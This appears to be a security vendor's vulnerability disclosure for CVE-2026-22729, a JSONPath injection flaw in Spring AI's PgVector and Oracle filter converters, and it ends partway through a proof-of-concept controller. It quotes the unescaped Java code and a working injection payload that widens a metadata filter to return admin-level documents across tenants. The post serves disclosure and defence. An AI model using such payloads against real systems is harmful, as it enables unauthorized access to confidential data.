- What: JSONPath injection vulnerability in Spring AI
- Impact: Potential denial of service or data manipulation
Denial of Service (DoS) Attack: Types, Impact, and Prevention March 19, 2026 March 19, 2026 While auditing the MariaDB vector store in Spring AI (see: https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/), we had Bugdazz — our autonomous pentest AI running the Rabit0 model — look at the base class shared across all Spring AI vector store adapters: `AbstractFilterExpressionConverter`. The MariaDB finding was in the adapter’s own `doSingleValue` override. The question was whether the base class default was also unsafe, and which adapters inherited it without overriding. The answer: the base class `doSingleValue` was the same pattern — user-controlled string values wrapped in quotes with no escaping — and `PgVectorFilterExpressionConverter` did not override it. Neither did the Oracle adapter. The injection surface was different from MariaDB (JSONPath instead of SQL), but the structural cause was identical. Table of Contents Toggle Executive Summary Before diving into exploitation mechanics and mitigation steps, it’s important to understand the basic profile of the vulnerability. Here is a brief snapshot: CVE ID: CVE-2026-22729 Severity: High (CVSS 8.6 – JSONPath Injection) Affected Versions: Spring AI 1.0.x versions prior to 1.0.4 and 1.1.x versions prior to 1.1.3 Fixed Versions: Spring AI 1.0.4 and 1.1.3 (or later) Attack Vector: JSONPath Injection via improper handling of string values in filter expressions, where user-controlled input is embedded into JSONPath queries without proper escaping Privileges Required: None (can be exploited via publicly accessible endpoints depending on implementation) User Interaction: None (exploitation possible via crafted HTTP requests) Impact: Access control bypass leading to unauthorized retrieval of sensitive data across tenants or roles, exposure of confidential information, and compromise of data isolation in RAG-based systems The Vulnerable Code `AbstractFilterExpressionConverter.java`, line 149 (pre-fix): ```java protected void doSingleValue(Object value, StringBuilder context) { if (value instanceof String) { context.append(String.format("\"%s\"", value)); // no escaping } else { context.append(value); } } ``` String values are wrapped in double quotes via `String.format(“\”%s\””, value)` and appended to the filter expression. No escaping of `”`, `\`, or control characters. If the value contains a double quote, the JSON string literal in the JSONPath expression ends at that character, and whatever follows is parsed as JSONPath syntax. `PgVectorFilterExpressionConverter` and `OracleFilterExpressionConverter` both extended `AbstractFilterExpressionConverter` and did not override this method. They inherited the unsafe default. How the Output Reaches PostgreSQL In `PgVectorStore.java`, line 362: ```java if (StringUtils.hasText(nativeFilterExpression)) { jsonPathFilter = " AND metadata::jsonb @@ '" + nativeFilterExpression + "'::jsonpath "; } ``` The converted filter expression is string-concatenated into a PostgreSQL JSONPath predicate. The `metadata::jsonb @@ ‘…’::jsonpath` operator evaluates the JSONPath expression against the document’s JSON metadata column. The filter expression is not parameterized — it is embedded directly in the SQL string as a quoted JSONPath literal. This is structurally different from the MariaDB case: the target isn’t a SQL `WHERE` clause, it’s a JSONPath expression. But the consequence is the same — an attacker-controlled string that breaks out of its quoting context can inject arbitrary logic into the predicate. Injection Mechanics PostgreSQL’s JSONPath syntax uses double-quoted string literals. The expression `$.department == “HR”` evaluates to true when the `department` field equals `HR`. The vulnerable `doSingleValue` method produces: `String.format(“\”%s\””, value)` — wrapping the value in double quotes with no internal escaping. Given the payload `” || $.accessLevel == “admin`: ``` doSingleValue output: "" || $.accessLevel == "admin" ``` Which produces the full JSONPath expression: ``` $.accessLevel == "" || $.accessLevel == "admin" ``` Embedded in the SQL: ```sql WHERE metadata::jsonb @@ '$.accessLevel == "" || $.accessLevel == "admin"'::jsonpath ``` PostgreSQL evaluates `$.accessLevel == “” || $.accessLevel == “admin”`. The first condition is false (the value is not an empty string). The second is true for any document where `accessLevel` is `admin`. The `||` operator is JSONPath’s logical OR. The predicate is true for all admin-level documents — regardless of what department or tenant the query was supposed to be scoped to. Proof of Concept We built a Spring Boot application backed by PostgreSQL with the pgvector extension. The controller exposed the `accessLevel` parameter directly to the filter: ```java @GetMapping("/api/docs") public List<Map<String, Object>> getDocuments(@RequestParam String accessLevel) { System.out.println("[VULNERABLE] Access level filter: " + accessLevel); var b = new FilterExpressionB...